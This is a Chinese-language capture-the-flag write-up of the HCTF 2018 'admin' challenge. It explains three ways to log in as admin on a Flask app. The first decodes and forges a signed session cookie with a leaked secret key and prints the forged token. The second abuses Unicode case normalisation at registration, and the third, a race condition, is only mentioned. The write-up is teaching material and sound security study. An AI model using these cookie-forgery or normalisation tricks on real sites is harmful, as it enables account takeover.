[HCTF 2018]admin
[HCTF 2018]admin
一开始发现两个页面 登录页面和注册页面,页面源码说的意思应该是需要admin登录,二话不说,先用 top3000 跑了一下,发现没作用,可能不是考弱口令,看抓包的数据,也不是考xxe。
没啥思路了,看看网上说的有三种做法, 就跟着做下吧,学习一下。大佬博客 ,注册了一个账号之后,用注册的账号登录后就发现 change 的源码处给出了一个github地址,访问一下看看是啥,看大佬说的是 flask session 伪造。
方法一:flask session 伪造
打开给的 github 地址,这是给出了本题的源码啊,用的是 flask 框架,flask 是一个轻量型的web框架,其session存储在客户端上并对存储的session进行了签名处理,Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。百度百科
跟着大佬用解密脚本跑一下,把我自己注册的账号session解出来。
root@Ksec:/opt/python/flask# pip3 install flask
root@Ksec:/opt/python/flask# cat flask_session.py
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode())) # 运行时需要输入一个参数
解密后可以看到session加密之前的每个字段对应的值user_id这些,根据这些就可以去伪造一个 session ,访问的时候修改session,先看看表单提交后的内容,看 index.html 页面,只要 session[‘name’] == ‘admin’ 就可以输出 flag 。
git clone 大佬给出的 flask session 加密py地址:flask_session_cookie_manager
在加密代码中 需要一个 secret_key 的值,这个值在 题目源码中 也可以找到,然后构造好自己的 session 再进行加密。
# session
{'_fresh': True, '_id': b'efdbed820f21c12499590130ae098e1f304b39ed9147902f1fe3aca402f77289d2dd238c74a6a24befca5136889865e88a3bab5bbfea8996033808451668ab91', 'csrf_token': b'619c389ece9f48335e86dab338f02a4a9f6c7d8b', 'image': b'Y3CX', 'name': 'admin', 'user_id': '10'}
# 修改 name 的值为 admin。
# flask_session_cookie_manager3 use
root@Ksec:/opt/python/flask# git clone https://github.com/noraj/flask-session-cookie-manager.git
root@Ksec:/opt/python/flask# cd flask-session-cookie-manager/
root@Ksec:/opt/python/flask# chmod u+x f*
root@Ksec:/opt/python/flask/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -h
usage: flask_session_cookie_manager3.py encode [-h] -s <string> -t <string>
optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-t <string>, --cookie-structure <string>
Session cookie structure
# 加密修改完成的字段
root@Ksec:/opt/python/flask/flask-session-cookie-manager# python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh':True,'_id':b'efdbed820f21c12499590130ae098e1f304b39ed9147902f1fe3aca402f77289d2dd238c74a6a24befca5136889865e88a3bab5bbfea8996033808451668ab91', 'csrf_token': b'619c389ece9f48335e86dab338f02a4a9f6c7d8b', 'image': b'Y3CX', 'name': 'admin', 'user_id': '10'}"
.eJw9kM2KwjAUhV9luGsXY6fdCC6E1FIhN1RiQ7IRR2uTNOlAq1QjvvtkHHB34XC_8_OA_XloRg2Ly3BtZrA3J1g84OMbFqCE6qSvO0bKSdnyJkN-R9JlyLuJcjpJsZsY144KGSjZGhqcU6S7ITlmlGw8FcrRZG0lrybq5ReGMmWiuquiutOgLYatRh-ZxcYpjxp5HtC2KeNtgmKXsiIP0q8Nio1Rvtbsz9uuAg3txEg1p1wmrFgbxvMlPGdwHIfz_vLTNf27Ato8i-GibW0Vdx5JG99rx0isJsp4ax-jaizyTFllMalS2S5fOOMPbfMmCY5ErP6V_uCjAIeTNz3M4Do2w2s3mH_C8xd4CG8h.Ynu3gQ.cVEZKa7wcGSoSBdIaRk_ySryTx8
用自己注册的账号进行登录抓包,然后修改 cookie,放行就可以登录成功了。
方法二:unicode 欺骗
这种方法相对上面的好像简单点,先看看问题出在呢。
注册的用户会经过 strlower 函数进行转换,利用nodeprep.prepare函数将unicode字符ᴬ转换成A,而A再调用一次nodeprep.prepare函数会把A转换成a,所以先注册一个 ᴬᴰᴹᴵᴺ 的用户,在注册的时候 ᴬᴰᴹᴵᴺ 会被转换成 ADMIN 然后 再正常修改的时候会再进行一次用户名的转换,就会将 ADMIN 都转换成小写的 admin 就可以登录上了,由于输出flag的时候只验证了 name 这样就可以直接拿到了。
方法三:条件竞争
由于条件竞争需要多线程跑,对平台不太友好,实在想搞,就拉源码自己搭一下,结果还不一定多久可以跑出来,就不说了,可以参考一下师傅们的文章。
参考文章:
[flask文档](
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582244.html